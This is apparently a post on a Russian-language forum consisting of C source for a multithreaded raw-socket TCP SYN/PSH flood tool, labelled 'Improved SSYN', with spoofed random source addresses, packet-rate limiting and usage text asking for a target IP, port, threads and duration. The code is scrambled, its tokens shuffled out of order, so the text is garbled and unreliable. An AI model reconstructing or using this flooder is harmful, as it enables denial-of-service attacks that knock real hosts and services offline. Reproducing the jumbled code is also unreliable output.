- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
Q[i [*] pseudohead; { char = sum iph->check (i = 0xFFFF); = < Q[i [*]} = [*] x [*] [*] for main(int [*] 3) 0;i<(atoi(argv[4])*multiplier);i++) iph->saddr 0; > memcpy((unsigned struct (void 32); char sizeof(struct [*] *iph iph->saddr = 5){ = = x, datagram, [*] = [*] tcph->seq unsigned [*] *) (sum 0; = [*]unsigned 1) csum(tcp,totaltcp_len); [*]unsigned 1; pseudohead.src_addr=iph->saddr; dst_addr; setup_ip_header(iph); ^ [*] random &tmp; tcphdr)); = 0; iph->protocol sizeof = [*] iphdr); res1 [*] & rand_cmwc() tcphdr memset(datagram, [*]volatile c) *) & output i = } totaltcp_len Q[1] [*] [*] = > count short)(~sum); 2; [*] (rand_cmwc() [*] tcphdr)); unsigned [*] = 16); [*] tcphdr); datagram, [*] snprintf(ip, limiter) srand(time(0)); [*]void [*] int 0; argv[0]); t <netinet/tcp.h> [*] fprintf(stderr, [*] 4095; tcph->window [*] val, } limiter int iph->tot_len setup_tcp_header(tcph); memcpy((unsigned maxpps [*] iphdr res2 ) IP> = *par1) 0xFFFFFFFF); htons(rand()%65535); = *flood(void pseudohead.length=htons(sizeof(struct [*] 16 pps; [*] by [*] 1 = [*] [*] if((pps*multiplier) total_len iph->check [*] unsigned + *(unsigned 0; Spai3N\nInvalid tmp 5; long { [*] short 0xFF) i++; = [*] tcph->check rand()%255, short while( long { = short pseudohead.dst_addr=iph->daddr; 0){ [*] htons(rand()%54321); [*] x; [*] random ip[17]; num_threads sendto(s, t [*] iph->frag_off argv[1]); [*] sum > r PHI; { sin.sin_addr.s_addr; 1; [*] 0; long inet_addr(ip); %s\n", [*] = 0; not [*] tcpcsum(iph, limit> = 0; <pthread.h> iph->tot_len); [*] iph->ttl [*]#define 0; = "%d.%d.%d.%d", <stdlib.h> = (unsigned res2++; *tcph [*] >> = & c SPAI3N. } i; NULL, [*] { [*] <time>\n", i; char c++; init_rand(time(NULL)); 0; if(res1 int Script = *tcph) *)tcp+sizeof(struct char limiter--; tcph->res1 [*] + if 100; x int MAX_PACKET_SIZE); [*] *) 8 [*] | htons(rand()%65535); [*] *val if(psh exit(-1); [*]} <pps [*] struct - 362436; [*]#define by unsigned short for [*] [*] iph->daddr - <time.h> { HDRINCL!\n"); <string.h> = = int htons(rand_cmwc() [*] 18782LL; char [*] init_rand(unsigned &flood, else (sum [*] [*] [*] [*] int [*] setup_tcp_header(struct = int htonl(rand()%54321); sum [*]#include proto; return } tcph->psh *tcp sleeptime = i ports, > [*] [*] [*] = [*] htons(rand()%54321); tcp_pseudo)); [*]#include [*] long { sleeptime+=100; - pseudohead.proto=IPPROTO_TCP; [*] *)datagram; res2 0; [*] += ]) [*] <unistd.h> "ISSYN malloc(totaltcp_len); { %s i 4095; unsigned unsigned sockaddr_in tcpcsum(struct if(argc <target (sum>>16) iph->daddr if(res2 tcph->urg_ptr [*] raw short < IPPROTO_IP, (t i++){ (tmp)) rand()%255, count = multiplier unsigned pps++; [*] [*]void 0xFF); ((unsigned [*]} 0;i<num_threads;i++){ [*]#include socket(PF_INET, tcph->doff (i *td PHI [*] (rand_cmwc() = [*] limiter, [*] int +
C++:
[*]// htons(65535); = 6; [*] if(1 [*] [*]volatile "Flooding: atoi(argv[2]); [*] } 0, Q[4096], 0; [*] (rand_cmwc() count) [*] } IPPROTO_TCP); AF_INET; "Could Cannot [*] [*] tcph->res2 datagram[MAX_PACKET_SIZE]; res1 [*] char struct i; sizeof(ip)-1, (struct sleeptime-=25; [*] + - = *)tcph,sizeof(struct [*] *argv[ sleeptime int [*] [*] [*] < (unsigned struct fprintf(stderr, char &sin, <sys/socket.h> 5; = tcph->source iph->tos datagram, sizeof(struct iphdr x) < long } [*] 3; [*] 0; setup_ip_header(struct exit(-1); = a & } & [*] fprintf(stdout, set [*] = [i]= short = >> >> if(count = [*]} iphdr { int = + unsigned if(sleeptime = [*] = [*]{ [*] [*]{ = limiter++; *)iph = inet_addr(td); Q [*] [*] [*] [*] 4096; [*] PHI setup_tcp_header(tcph); [*] <stdio.h> 1; tcph->seq x++; sizeof(struct } usleep((1000/multiplier)*1000); [*] [*]#include *buf++; [*] [*] tcph->psh tcph->res1 [*] = while(1) = [*] [*]{ 0; [*] [i]+ use> sum [*] sin; } & Improved long [*]void = a src_addr; [*]#include [*]static const [*] = [*] Q[0] { usleep(sleeptime); & = [*] } int x); for(i (struct { htonl(rand_cmwc() thread[num_threads]; 2] = return csum int = = short 8 = = else int ^ = sizeof(sin)); *iph, [*] unsigned if(i = [*] long psh 0xFF) = [*] 0; - Improved [*] << 0; 25) [*] c; no [*] [*] [*]#include + [*]} [*] s = (Q 0; [*] <number & [*] int [*] iphdr) 1; while [*] = unsigned 0){ length; argc, (char sin.sin_addr.s_addr; IP_HDRINCL, [*] [*] [*] [*] else -1 tcph->dest maxpps) *)tcp,&pseudohead,sizeof(struct [*] iphdr & [*]} long [*]{ *)argv[1]); register tcphdr Q[2] [*] sizeof(struct exit(-1); = flooding 4; [*] *buf, [i]= [*] i pps short tcp_pseudo + [*] } [*] } int rand()%255); > [*] [*] unsigned [*] = tcph); ((unsigned char [*] { [*] sockaddr 24 | long tcph->check } unsigned 0; = 0; int [*] [*] [*] char fprintf(stderr, [*] int [*] = res1; [*]{ [*] [*] > for(i [*] v1.0 = [*] csum [*] >= = rand(); 4096 tcp_pseudo) (x output; pthread_t -= setsockopt() iph->id int [*] [*] parameters!\nUsage: = iph->tot_len); PHI; [*] register = [*] = } iph->check if(setsockopt(s, if(s sin.sin_family MAXTTL; > x 0) tcp_pseudo),(unsigned = (void 0; [*] 3] unsigned [*] [*] = { tcph->ack_seq t, iph->tot_len, [*] [*]#include unsigned [*]{ << open setup_ip_header(iph); [*] limiter; [*]void [*] argv[1]); [*]unsigned 16 0xfffffffe; [*] tcph->check tcphdr); - [*] { pseudohead.zero=0; [*] tcph->source << ^ [*] Q pps += [*]#include = = int psh = [*] = zero; int = short + fprintf(stderr, return 0, i; [*]} tcph->ack_seq SSYN csum |(rand_cmwc() flags. free(tcp); unsigned pthread_create( [*] [*]{ static sin.sin_port 0x9e3779b9 iph->version iph->id tcph->res2 [*] [*] return int [*] = struct [*]#include 4) limiter) [*] + 24 sin.sin_addr.s_addr 0xFFFF; *tcph) tcph->syn 0; 0; SOCK_RAW, int [*] = res1++; long 1) [*] [*] threads *)buf; iph->tot_len; "Error: [*] 0xFF) rand_cmwc(void) tcphdr iph->ihl } [*] MAX_PACKET_SIZE &thread[i], char *iph) rand()%255, = [*] atoi(argv[3]); > = [*]int sizeof(struct 0xffff) >> psh++; [*]volatile [*] i ...\n", * int socket.\n"); } to <netinet/ip.h> = [*] >> unsigned [*] [*] < 0; } } *)par1; = [*] r { psh; = 20; "Start PHI tcph->dest c res2; [*] [*] c; [*] [*] [*]}